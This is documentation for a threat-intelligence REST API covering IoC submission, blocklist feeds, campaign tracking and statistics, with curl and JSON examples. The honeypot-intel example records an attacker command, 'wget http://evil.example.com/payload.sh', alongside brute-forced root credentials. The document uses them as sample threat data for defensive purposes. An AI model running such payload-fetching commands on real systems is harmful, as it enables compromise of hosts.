# API Overview
Source: https://docs.panguard.ai/api-reference/overview

Panguard AI exposes the Threat Cloud REST API for threat intelligence.

Panguard AI provides the Threat Cloud API for community-driven threat intelligence. No accounts or login required for Community tier -- MIT licensed and open source. For production deployments at F500 scale, [Enterprise ($150K-500K / year)](https://panguard.ai/pricing), [Migrator Pro ($500K-2M / year)](https://panguard.ai/pricing), and [Sovereign (\$5-20M / nation)](https://panguard.ai/pricing) tiers add signed, continuously re-scanned compliance evidence, airgap deployment, and SLA.

## API Service

<CardGroup>
  <Card title="Threat Cloud API" icon="cloud">
    **Configurable port** -- IoC management, threat feeds, campaign tracking, MITRE heatmaps,
    geographic queries, and audit logs.
  </Card>
</CardGroup>

## Base URL

| Service      | Default Base URL                                    | TLS      |
| ------------ | --------------------------------------------------- | -------- |
| Threat Cloud | `https://tc.panguard.ai` or `http://localhost:PORT` | Optional |

## Authentication

Threat Cloud endpoints that require authentication use an **API key** in the `Authorization` header.

```bash theme={null}
curl -X GET https://tc.panguard.ai/api/iocs \
  -H "Authorization: Bearer YOUR_API_KEY" \
  -H "Content-Type: application/json"
```

## Common Response Format

Every API endpoint returns a consistent JSON envelope:

<Tabs>
  <Tab title="Success">
    ```json theme={null}
    {
      "ok": true,
      "data": {
        "id": "agent-001",
        "hostname": "web-server-1"
      }
    }
    ```
  </Tab>

  <Tab title="Error">
    ```json theme={null}
    {
      "ok": false,
      "error": "Agent not found"
    }
    ```
  </Tab>
</Tabs>

## Rate Limiting

The API enforces rate limiting to protect against abuse.

| Service      | Default Limit      | Scope       |
| ------------ | ------------------ | ----------- |
| Threat Cloud | Varies by endpoint | Per API key |

When rate-limited, the API returns a `429` status code with a `Retry-After` header indicating when to retry.

## Error Codes

| Status Code | Meaning               | Description                                     |
| ----------- | --------------------- | ----------------------------------------------- |
| `200`       | OK                    | Request succeeded                               |
| `201`       | Created               | Resource created successfully                   |
| `400`       | Bad Request           | Invalid request body or missing required fields |
| `401`       | Unauthorized          | Missing or invalid authentication token         |
| `403`       | Forbidden             | Valid token but insufficient permissions        |
| `404`       | Not Found             | Requested resource does not exist               |
| `429`       | Too Many Requests     | Rate limit exceeded, check `Retry-After` header |
| `500`       | Internal Server Error | Unexpected server error, retry with backoff     |

## Content Type

All request and response bodies use `application/json` unless otherwise noted. Feed endpoints may return `text/plain` for blocklist formats.

## Pagination

Endpoints that return collections support pagination via query parameters:

<ParamField type="number">
  Page number (1-indexed).
</ParamField>

<ParamField type="number">
  Number of items per page. Maximum 200.
</ParamField>

Paginated responses include metadata:

```json theme={null}
{
  "ok": true,
  "data": [...],
  "pagination": {
    "total": 342,
    "page": 1,
    "limit": 50,
    "pages": 7
  }
}
```

## Next Steps

<CardGroup>
  <Card title="Threat Cloud API" icon="crosshairs" href="/api-reference/threat-cloud/ioc">
    Query and submit threat intelligence.
  </Card>

  <Card title="Configuration" icon="gear" href="/configuration/environment-variables">
    Configure API ports, tokens, and settings.
  </Card>
</CardGroup>


# Campaigns
Source: https://docs.panguard.ai/api-reference/threat-cloud/campaigns

Track coordinated attack campaigns identified through IoC correlation.

Campaigns represent coordinated attack patterns identified by correlating IoCs across the Panguard Threat Cloud network. When multiple indicators share behavioral patterns, infrastructure, or timing, they are grouped into a campaign.

## GET /api/campaigns

Lists all identified campaigns with pagination.

<ParamField type="string">
  Filter by status: `active`, `dormant`, `resolved`.
</ParamField>

<ParamField type="string">
  ISO 8601 timestamp. Returns campaigns updated after this time.
</ParamField>

<ParamField type="number">
  Page number.
</ParamField>

<ParamField type="number">
  Results per page (max 100).
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/campaigns?status=active&limit=10" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": [
      {
        "id": "campaign_botnet_xyz",
        "name": "XYZ Botnet SSH Scanner",
        "status": "active",
        "severity": "high",
        "firstSeen": "2026-02-01T00:00:00.000Z",
        "lastActivity": "2026-03-07T11:45:00.000Z",
        "iocCount": 234,
        "affectedOrgs": 18,
        "mitreIds": ["T1110", "T1078", "T1059"],
        "tags": ["botnet", "ssh", "bruteforce"]
      },
      {
        "id": "campaign_phish_abc",
        "name": "ABC Phishing Kit",
        "status": "active",
        "severity": "critical",
        "firstSeen": "2026-03-01T00:00:00.000Z",
        "lastActivity": "2026-03-07T10:30:00.000Z",
        "iocCount": 89,
        "affectedOrgs": 7,
        "mitreIds": ["T1566", "T1204"],
        "tags": ["phishing", "credential-theft"]
      }
    ],
    "pagination": {
      "total": 12,
      "page": 1,
      "limit": 10,
      "pages": 2
    }
  }
  ```
</ResponseExample>

***

## GET /api/campaigns/stats

Returns aggregate statistics about campaigns across the Threat Cloud.

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/campaigns/stats" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "totalCampaigns": 45,
      "activeCampaigns": 12,
      "dormantCampaigns": 28,
      "resolvedCampaigns": 5,
      "bySeverity": {
        "critical": 3,
        "high": 8,
        "medium": 22,
        "low": 12
      },
      "topMitreTechniques": [
        { "id": "T1110", "name": "Brute Force", "campaigns": 15 },
        { "id": "T1566", "name": "Phishing", "campaigns": 8 },
        { "id": "T1059", "name": "Command and Scripting Interpreter", "campaigns": 7 },
        { "id": "T1078", "name": "Valid Accounts", "campaigns": 6 },
        { "id": "T1204", "name": "User Execution", "campaigns": 5 }
      ],
      "avgIocsPerCampaign": 52,
      "totalAffectedOrgs": 89
    }
  }
  ```
</ResponseExample>

***

## GET /api/campaigns/:id

Returns detailed information about a specific campaign, including all associated IoCs and a timeline of activity.

<ParamField type="string">
  The campaign ID.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/campaigns/campaign_botnet_xyz" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "id": "campaign_botnet_xyz",
      "name": "XYZ Botnet SSH Scanner",
      "description": "Coordinated SSH brute-force campaign targeting Linux servers. Deploys cryptominer payloads upon successful login.",
      "status": "active",
      "severity": "high",
      "firstSeen": "2026-02-01T00:00:00.000Z",
      "lastActivity": "2026-03-07T11:45:00.000Z",
      "mitreIds": ["T1110", "T1078", "T1059"],
      "tags": ["botnet", "ssh", "bruteforce", "cryptominer"],
      "iocs": {
        "total": 234,
        "byType": {
          "ip": 189,
          "domain": 12,
          "hash": 28,
          "url": 5
        },
        "topIps": [
          { "value": "198.51.100.42", "sightings": 47, "reputation": 12 },
          { "value": "203.0.113.99", "sightings": 35, "reputation": 8 },
          { "value": "198.51.100.78", "sightings": 28, "reputation": 15 }
        ],
        "topDomains": [
          { "value": "malware-c2.example.net", "sightings": 89, "reputation": 5 }
        ]
      },
      "timeline": [
        {
          "date": "2026-02-01",
          "event": "First IoCs observed",
          "details": "Initial SSH scan activity from 3 IPs"
        },
        {
          "date": "2026-02-15",
          "event": "Infrastructure expansion",
          "details": "C2 domain registered, 50+ new scanner IPs"
        },
        {
          "date": "2026-03-01",
          "event": "Payload updated",
          "details": "New cryptominer variant deployed via wget"
        }
      ],
      "affectedOrgs": 18,
      "geography": {
        "sourceCountries": ["CN", "RU", "VN", "BR"],
        "targetCountries": ["US", "DE", "JP", "TW", "SG"]
      },
      "recommendations": [
        "Block all associated IPs at the network perimeter",
        "Monitor for SSH login anomalies",
        "Check for unauthorized cryptominer processes",
        "Update SSH configuration to disable password authentication"
      ]
    }
  }
  ```
</ResponseExample>

### Campaign Statuses

| Status     | Description                                                                 |
| ---------- | --------------------------------------------------------------------------- |
| `active`   | New IoCs or sightings observed within the last 7 days                       |
| `dormant`  | No new activity for 7--30 days, but infrastructure may still be operational |
| `resolved` | No activity for 30+ days, associated infrastructure appears decommissioned  |

<Tip>
  Active campaigns are continuously updated as new IoCs are correlated across the Threat Cloud network.
</Tip>


# Feed Endpoints
Source: https://docs.panguard.ai/api-reference/threat-cloud/feeds

Consume threat intelligence feeds in blocklist and structured JSON formats.

Feed endpoints provide threat intelligence in formats optimized for consumption by firewalls, DNS resolvers, and Panguard agents. Blocklist feeds return plain text; structured feeds return JSON.

## GET /api/feeds/ip-blocklist

Returns a plain-text list of malicious IP addresses, one per line. Designed for direct ingestion by firewalls (iptables, pf, Windows Firewall) and network appliances.

<ParamField type="number">
  Maximum reputation score to include (0 = most malicious). Lower values produce a more conservative list.
</ParamField>

<ParamField type="string">
  Filter by threat category: `malware`, `botnet`, `bruteforce`, `scanner`, `c2`.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/feeds/ip-blocklist?minReputation=20" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```

  ```bash Direct to iptables theme={null}
  curl -s "https://tc.panguard.ai/api/feeds/ip-blocklist" \
    -H "Authorization: Bearer YOUR_API_KEY" | \
    while read ip; do
      iptables -A INPUT -s "$ip" -j DROP
    done
  ```
</CodeGroup>

### Response

```text theme={null}
# Panguard AI IP Blocklist
# Generated: 2026-03-07T12:00:00Z
# Total: 1423 IPs
198.51.100.42
198.51.100.78
203.0.113.15
203.0.113.99
192.0.2.50
...
```

<Info>
  The response content type is `text/plain`. Lines starting with `#` are comments containing metadata. The list is sorted by reputation score (most malicious first).
</Info>

***

## GET /api/feeds/domain-blocklist

Returns a plain-text list of malicious domains, one per line. Suitable for DNS sinkhole configurations (Pi-hole, dnsmasq, Unbound).

<ParamField type="number">
  Maximum reputation score to include.
</ParamField>

<ParamField type="string">
  Filter by threat category: `malware`, `phishing`, `c2`, `exploit`.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/feeds/domain-blocklist" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```

  ```bash Pi-hole format theme={null}
  curl -s "https://tc.panguard.ai/api/feeds/domain-blocklist" \
    -H "Authorization: Bearer YOUR_API_KEY" | \
    sed 's/^/0.0.0.0 /' > /etc/pihole/panguard-blocklist.txt
  ```
</CodeGroup>

### Response

```text theme={null}
# Panguard AI Domain Blocklist
# Generated: 2026-03-07T12:00:00Z
# Total: 892 domains
malware-c2.example.net
phishing-bank.example.org
dropper.example.com
evil-redirect.example.io
...
```

***

## GET /api/feeds/iocs

Returns the full IoC feed in structured JSON format with metadata, suitable for SIEM integrations and automated processing.

<ParamField type="string">
  ISO 8601 timestamp. Returns only IoCs updated after this time (for incremental sync).
</ParamField>

<ParamField type="string">
  Filter by IoC type: `ip`, `domain`, `hash`, `url`.
</ParamField>

<ParamField type="number">
  Maximum number of IoCs to return (max 5000).
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/feeds/iocs?since=2026-03-06T00:00:00Z&type=ip" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "generatedAt": "2026-03-07T12:00:00.000Z",
      "count": 156,
      "iocs": [
        {
          "value": "198.51.100.42",
          "type": "ip",
          "reputation": 12,
          "category": "bruteforce",
          "sightings": 47,
          "firstSeen": "2026-02-15T10:00:00.000Z",
          "lastSeen": "2026-03-07T08:15:00.000Z",
          "metadata": {
            "asn": "AS64496",
            "country": "CN",
            "mitreIds": ["T1110"]
          }
        }
      ]
    }
  }
  ```
</ResponseExample>

***

## GET /api/feeds/agent-update

Returns a bundled update package for Panguard Guard agents containing the latest detection rules and IoC data. This endpoint is called automatically by agents during their update cycle.

<ParamField type="string">
  The agent's current rule version. Only returns changes since this version.
</ParamField>

<ParamField type="string">
  The requesting agent's ID for access control.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/feeds/agent-update?currentVersion=v20260306" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "version": "v20260307",
      "rules": {
        "atr": {
          "added": 12,
          "updated": 3,
          "removed": 1,
          "files": [
            {
              "id": "ATR-2025-0125",
              "name": "Detect Cryptominer via Agent Action",
              "content": "..."
            }
          ]
        }
      },
      "iocs": {
        "ipBlocklist": ["198.51.100.42", "203.0.113.99"],
        "domainBlocklist": ["malware-c2.example.net"],
        "hashBlocklist": ["e3b0c44298fc1c149afbf4c8996fb924"]
      },
      "config": {
        "heartbeatInterval": 60,
        "logLevel": "info"
      }
    }
  }
  ```
</ResponseExample>

<Tip>
  The agent-update endpoint uses delta updates when a `currentVersion` is provided. This minimizes bandwidth by only sending new or modified rules since the agent's last update.
</Tip>


# IoC Endpoints
Source: https://docs.panguard.ai/api-reference/threat-cloud/ioc

Upload threat intelligence and query Indicators of Compromise (IoCs) from the Threat Cloud.

The IoC (Indicators of Compromise) endpoints allow you to upload threat data from agents and query the collective intelligence database.

## POST /api/threats

Uploads threat data from an agent or external source. Supports both single and batch submissions.

<ParamField type="object[]">
  Array of threat objects (maximum 100 per request).
</ParamField>

<ParamField type="string">
  IoC type: `ip`, `domain`, `hash`, `url`, `email`, `cve`.
</ParamField>

<ParamField type="string">
  The indicator value (e.g., IP address, domain name, file hash).
</ParamField>

<ParamField type="string">
  Source identifier (e.g., `guard-agent`, `honeypot`, `manual`).
</ParamField>

<ParamField type="string">
  Threat category: `malware`, `botnet`, `phishing`, `bruteforce`, `scanner`, `exploit`, `c2`.
</ParamField>

<ParamField type="string">
  Severity: `low`, `medium`, `high`, `critical`.
</ParamField>

<ParamField type="number">
  Confidence score (0.0--1.0).
</ParamField>

<ParamField type="object">
  Additional metadata (ports, protocols, MITRE ATT\&CK IDs, etc.).
</ParamField>

<Tabs>
  <Tab title="Single Threat">
    ```bash theme={null}
    curl -X POST https://tc.panguard.ai/api/threats \
      -H "Authorization: Bearer YOUR_API_KEY" \
      -H "Content-Type: application/json" \
      -d '{
        "threats": [
          {
            "type": "ip",
            "value": "198.51.100.42",
            "source": "guard-agent",
            "category": "bruteforce",
            "severity": "high",
            "confidence": 0.95,
            "metadata": {
              "port": 22,
              "protocol": "ssh",
              "attempts": 500,
              "mitreId": "T1110"
            }
          }
        ]
      }'
    ```
  </Tab>

  <Tab title="Batch Upload">
    ```bash theme={null}
    curl -X POST https://tc.panguard.ai/api/threats \
      -H "Authorization: Bearer YOUR_API_KEY" \
      -H "Content-Type: application/json" \
      -d '{
        "threats": [
          {
            "type": "ip",
            "value": "198.51.100.42",
            "source": "guard-agent",
            "category": "bruteforce",
            "severity": "high"
          },
          {
            "type": "domain",
            "value": "malware-c2.example.net",
            "source": "honeypot",
            "category": "c2",
            "severity": "critical"
          },
          {
            "type": "hash",
            "value": "e3b0c44298fc1c149afbf4c8996fb924",
            "source": "guard-agent",
            "category": "malware",
            "severity": "critical"
          }
        ]
      }'
    ```
  </Tab>
</Tabs>

<ResponseExample>
  ```json 201 theme={null}
  {
    "ok": true,
    "data": {
      "received": 3,
      "new": 2,
      "updated": 1,
      "iocIds": ["ioc_a1b2", "ioc_c3d4", "ioc_e5f6"]
    }
  }
  ```
</ResponseExample>

<Info>
  Batch uploads accept up to **100 threats per request**. For larger volumes, split into multiple requests. Duplicate IoCs are automatically merged -- their reputation score, sighting count, and metadata are updated rather than creating duplicates.
</Info>

***

## POST /api/trap-intel

Submits intelligence gathered from Panguard Trap (honeypot) deployments. This data receives a higher confidence boost due to the nature of honeypot interactions.

<ParamField type="string">
  The honeypot instance identifier.
</ParamField>

<ParamField type="string">
  IP address of the attacker.
</ParamField>

<ParamField type="string">
  Type of honeypot: `ssh`, `http`, `ftp`, `smtp`, `custom`.
</ParamField>

<ParamField type="object[]">
  Array of attacker interaction records.
</ParamField>

<ParamField type="object[]">
  Credentials attempted by the attacker.
</ParamField>

<ParamField type="string[]">
  SHA-256 hashes of any payloads dropped.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X POST https://tc.panguard.ai/api/trap-intel \
    -H "Authorization: Bearer YOUR_API_KEY" \
    -H "Content-Type: application/json" \
    -d '{
      "trapId": "trap-ssh-01",
      "attackerIp": "198.51.100.42",
      "honeypotType": "ssh",
      "interactions": [
        {
          "timestamp": "2026-03-07T08:00:00Z",
          "action": "login_attempt",
          "data": { "username": "root", "password": "admin123" }
        },
        {
          "timestamp": "2026-03-07T08:00:05Z",
          "action": "command_executed",
          "data": { "command": "wget http://evil.example.com/payload.sh" }
        }
      ],
      "credentials": [
        { "username": "root", "password": "admin123" },
        { "username": "admin", "password": "password" }
      ],
      "payloads": ["a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a"]
    }'
  ```
</CodeGroup>

<ResponseExample>
  ```json 201 theme={null}
  {
    "ok": true,
    "data": {
      "iocId": "ioc_trap_x1y2",
      "reputationDelta": -15,
      "campaignMatch": "campaign_botnet_xyz"
    }
  }
  ```
</ResponseExample>

***

## GET /api/iocs

Searches the IoC database with filters.

<ParamField type="string">
  Filter by IoC type: `ip`, `domain`, `hash`, `url`, `email`, `cve`.
</ParamField>

<ParamField type="string">
  Filter by source (e.g., `guard-agent`, `honeypot`, `community`).
</ParamField>

<ParamField type="number">
  Minimum reputation score (0--100, where 0 is most malicious).
</ParamField>

<ParamField type="number">
  Maximum reputation score.
</ParamField>

<ParamField type="string">
  Filter by status: `active`, `expired`, `whitelisted`.
</ParamField>

<ParamField type="string">
  Filter by threat category.
</ParamField>

<ParamField type="string">
  Return IoCs updated after this ISO 8601 timestamp.
</ParamField>

<ParamField type="number">
  Page number.
</ParamField>

<ParamField type="number">
  Results per page (max 200).
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/iocs?type=ip&minReputation=0&maxReputation=30&status=active&limit=10" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": [
      {
        "value": "198.51.100.42",
        "type": "ip",
        "reputation": 12,
        "category": "bruteforce",
        "source": "guard-agent",
        "sightings": 47,
        "firstSeen": "2026-02-15T10:00:00.000Z",
        "lastSeen": "2026-03-07T08:15:00.000Z",
        "status": "active",
        "metadata": {
          "ports": [22, 3389],
          "protocols": ["ssh", "rdp"],
          "mitreIds": ["T1110"]
        }
      }
    ],
    "pagination": {
      "total": 1423,
      "page": 1,
      "limit": 10,
      "pages": 143
    }
  }
  ```
</ResponseExample>

***

## GET /api/iocs/:value

Looks up a single IoC by its value. Supports IP addresses, domains, hashes, URLs, emails, and CVE IDs.

<ParamField type="string">
  The IoC value to look up. URL-encode if necessary.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/iocs/198.51.100.42" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<Tabs>
  <Tab title="200 Found">
    ```json theme={null}
    {
      "ok": true,
      "data": {
        "value": "198.51.100.42",
        "type": "ip",
        "reputation": 12,
        "category": "bruteforce",
        "sightings": 47,
        "firstSeen": "2026-02-15T10:00:00.000Z",
        "lastSeen": "2026-03-07T08:15:00.000Z",
        "status": "active",
        "sources": ["guard-agent", "honeypot", "community"],
        "campaigns": ["campaign_botnet_xyz"],
        "relatedIocs": [
          { "value": "malware-c2.example.net", "type": "domain", "relation": "contacted" }
        ],
        "metadata": {
          "asn": "AS64496",
          "country": "CN",
          "ports": [22, 3389],
          "mitreIds": ["T1110", "T1078"]
        }
      }
    }
    ```
  </Tab>

  <Tab title="404 Not Found">
    ```json theme={null}
    {
      "ok": true,
      "data": {
        "value": "192.0.2.1",
        "type": "ip",
        "reputation": 80,
        "status": "unknown",
        "sightings": 0,
        "message": "No threat data found for this indicator"
      }
    }
    ```
  </Tab>
</Tabs>

<Tip>
  The single lookup endpoint returns enriched data including related IoCs, campaign associations, and geographic metadata. Use this for detailed investigation of specific indicators.
</Tip>


# Statistics & Queries
Source: https://docs.panguard.ai/api-reference/threat-cloud/stats

Advanced analytics endpoints for time series, geographic distribution, MITRE heatmaps, sightings, and audit logs.

The statistics and query endpoints provide advanced analytics over the Threat Cloud dataset. Use these for dashboards, reporting, and threat research.

## GET /api/stats

Returns enhanced statistics about the Threat Cloud database.

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/stats" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "totalIocs": 48923,
      "activeIocs": 12456,
      "totalSightings": 892341,
      "totalSources": 342,
      "byType": {
        "ip": 32100,
        "domain": 8923,
        "hash": 5400,
        "url": 1800,
        "email": 500,
        "cve": 200
      },
      "byCategory": {
        "bruteforce": 15200,
        "malware": 12300,
        "botnet": 8400,
        "phishing": 5600,
        "scanner": 4200,
        "c2": 2100,
        "exploit": 1123
      },
      "last24h": {
        "newIocs": 234,
        "newSightings": 4521,
        "topCategory": "bruteforce"
      },
      "updatedAt": "2026-03-07T12:00:00.000Z"
    }
  }
  ```
</ResponseExample>

***

## GET /api/query/timeseries

Returns time-series data for threat activity, suitable for charting.

<ParamField type="string">
  Time bucket size: `hour`, `day`, or `week`.
</ParamField>

<ParamField type="string">
  Time range: `24h`, `7d`, `30d`, `90d`.
</ParamField>

<ParamField type="string">
  Filter by IoC type.
</ParamField>

<ParamField type="string">
  Filter by threat category.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/query/timeseries?granularity=day&period=7d" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "granularity": "day",
      "period": "7d",
      "series": [
        { "timestamp": "2026-03-01T00:00:00Z", "newIocs": 198, "sightings": 4200 },
        { "timestamp": "2026-03-02T00:00:00Z", "newIocs": 215, "sightings": 4510 },
        { "timestamp": "2026-03-03T00:00:00Z", "newIocs": 187, "sightings": 3980 },
        { "timestamp": "2026-03-04T00:00:00Z", "newIocs": 234, "sightings": 5120 },
        { "timestamp": "2026-03-05T00:00:00Z", "newIocs": 201, "sightings": 4350 },
        { "timestamp": "2026-03-06T00:00:00Z", "newIocs": 256, "sightings": 5890 },
        { "timestamp": "2026-03-07T00:00:00Z", "newIocs": 142, "sightings": 3100 }
      ]
    }
  }
  ```
</ResponseExample>

***

## GET /api/query/geo

Returns geographic distribution of threat sources.

<ParamField type="string">
  Filter by IoC type (primarily useful for `ip`).
</ParamField>

<ParamField type="string">
  Time range: `24h`, `7d`, `30d`, `90d`.
</ParamField>

<ParamField type="number">
  Number of countries to return.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/query/geo?period=7d&limit=10" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "period": "7d",
      "countries": [
        { "code": "CN", "name": "China", "count": 8923, "percentage": 28.4 },
        { "code": "US", "name": "United States", "count": 5210, "percentage": 16.6 },
        { "code": "RU", "name": "Russia", "count": 4100, "percentage": 13.1 },
        { "code": "BR", "name": "Brazil", "count": 2890, "percentage": 9.2 },
        { "code": "VN", "name": "Vietnam", "count": 2100, "percentage": 6.7 },
        { "code": "IN", "name": "India", "count": 1850, "percentage": 5.9 },
        { "code": "KR", "name": "South Korea", "count": 1420, "percentage": 4.5 },
        { "code": "DE", "name": "Germany", "count": 1100, "percentage": 3.5 },
        { "code": "TW", "name": "Taiwan", "count": 980, "percentage": 3.1 },
        { "code": "NL", "name": "Netherlands", "count": 870, "percentage": 2.8 }
      ],
      "total": 31400
    }
  }
  ```
</ResponseExample>

***

## GET /api/query/trends

Returns emerging threat trends based on IoC velocity and pattern analysis.

<ParamField type="number">
  Number of days to analyze for trend detection.
</ParamField>

<ParamField type="number">
  Minimum percentage change to qualify as a trend.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/query/trends?periodDays=7" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "periodDays": 7,
      "trends": [
        {
          "category": "bruteforce",
          "direction": "increasing",
          "changePercent": 45.2,
          "currentRate": 2100,
          "previousRate": 1446,
          "description": "SSH brute-force activity surging, primarily from CN and VN ranges"
        },
        {
          "category": "phishing",
          "direction": "increasing",
          "changePercent": 23.8,
          "currentRate": 890,
          "previousRate": 719,
          "description": "New phishing kit targeting financial services identified"
        },
        {
          "category": "scanner",
          "direction": "decreasing",
          "changePercent": -15.3,
          "currentRate": 1200,
          "previousRate": 1417,
          "description": "Port scanning activity declining after major botnet takedown"
        }
      ],
      "emergingThreats": [
        {
          "indicator": "CVE-2026-1234",
          "type": "cve",
          "firstSeen": "2026-03-05T00:00:00Z",
          "velocity": "rapid",
          "sightingsLast24h": 342
        }
      ]
    }
  }
  ```
</ResponseExample>

***

## GET /api/query/mitre-heatmap

Returns a MITRE ATT\&CK framework heatmap showing technique frequency across observed threats.

<ParamField type="string">
  Time range: `7d`, `30d`, `90d`.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/query/mitre-heatmap?period=30d" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": {
      "period": "30d",
      "techniques": [
        {
          "id": "T1110",
          "name": "Brute Force",
          "tactic": "Credential Access",
          "count": 15200,
          "intensity": "critical"
        },
        {
          "id": "T1059",
          "name": "Command and Scripting Interpreter",
          "tactic": "Execution",
          "count": 8900,
          "intensity": "high"
        },
        {
          "id": "T1078",
          "name": "Valid Accounts",
          "tactic": "Persistence",
          "count": 5400,
          "intensity": "high"
        },
        {
          "id": "T1566",
          "name": "Phishing",
          "tactic": "Initial Access",
          "count": 3200,
          "intensity": "medium"
        },
        {
          "id": "T1204",
          "name": "User Execution",
          "tactic": "Execution",
          "count": 2100,
          "intensity": "medium"
        }
      ],
      "tactics": {
        "Initial Access": 5300,
        "Execution": 11000,
        "Persistence": 5400,
        "Credential Access": 15200,
        "Discovery": 3800,
        "Lateral Movement": 1200,
        "Collection": 800,
        "Command and Control": 2100,
        "Exfiltration": 400,
        "Impact": 1500
      }
    }
  }
  ```
</ResponseExample>

***

## POST /api/sightings

Records a new sighting of an existing IoC. Sightings increase the reputation score weight of an indicator.

<ParamField type="string">
  The IoC value that was observed.
</ParamField>

<ParamField type="string">
  Source of the sighting (e.g., `guard-agent`, `honeypot`).
</ParamField>

<ParamField type="object">
  Additional context about the sighting.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X POST "https://tc.panguard.ai/api/sightings" \
    -H "Authorization: Bearer YOUR_API_KEY" \
    -H "Content-Type: application/json" \
    -d '{
      "value": "198.51.100.42",
      "source": "guard-agent",
      "context": {
        "agentId": "agent-a1b2c3d4",
        "detectionType": "brute_force",
        "targetPort": 22
      }
    }'
  ```
</CodeGroup>

<ResponseExample>
  ```json 201 theme={null}
  {
    "ok": true,
    "data": {
      "sightingId": "sig_x1y2z3",
      "iocValue": "198.51.100.42",
      "totalSightings": 48,
      "reputationChange": -2
    }
  }
  ```
</ResponseExample>

***

## GET /api/sightings

Queries sighting records for a specific IoC.

<ParamField type="string">
  The IoC value to query sightings for.
</ParamField>

<ParamField type="number">
  Maximum results.
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/sightings?value=198.51.100.42&limit=5" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": [
      {
        "id": "sig_x1y2z3",
        "value": "198.51.100.42",
        "source": "guard-agent",
        "context": {
          "agentId": "agent-a1b2c3d4",
          "detectionType": "brute_force"
        },
        "timestamp": "2026-03-07T08:15:00.000Z"
      }
    ],
    "pagination": {
      "total": 48,
      "page": 1,
      "limit": 5,
      "pages": 10
    }
  }
  ```
</ResponseExample>

***

## GET /api/audit-log

Returns the audit log of API operations performed against the Threat Cloud. Useful for compliance and debugging.

<ParamField type="string">
  Filter by action type: `create`, `update`, `delete`, `query`.
</ParamField>

<ParamField type="string">
  ISO 8601 timestamp for log start.
</ParamField>

<ParamField type="number">
  Maximum results (max 200).
</ParamField>

<CodeGroup>
  ```bash cURL theme={null}
  curl -X GET "https://tc.panguard.ai/api/audit-log?action=create&limit=10" \
    -H "Authorization: Bearer YOUR_API_KEY"
  ```
</CodeGroup>

<ResponseExample>
  ```json 200 theme={null}
  {
    "ok": true,
    "data": [
      {
        "id": "audit_001",
        "action": "create",
        "resource": "ioc",
        "details": "Added 3 IoCs (2 new, 1 updated)",
        "apiKey": "key_...redacted",
        "ip": "203.0.113.10",
        "timestamp": "2026-03-07T08:15:00.000Z"
      },
      {
        "id": "audit_002",
        "action": "create",
        "resource": "sighting",
        "details": "Recorded sighting for 198.51.100.42",
        "apiKey": "key_...redacted",
        "ip": "203.0.113.10",
        "timestamp": "2026-03-07T08:14:00.000Z"
      }
    ],
    "pagination": {
      "total": 1234,
      "page": 1,
      "limit": 10,
      "pages": 124
    }
  }
  ```
</ResponseExample>

<Info>
  API key values are partially redacted in audit log responses. Only the first 4 and last 4 characters are shown.
</Info>


# ATR (Agent Threat Rules)
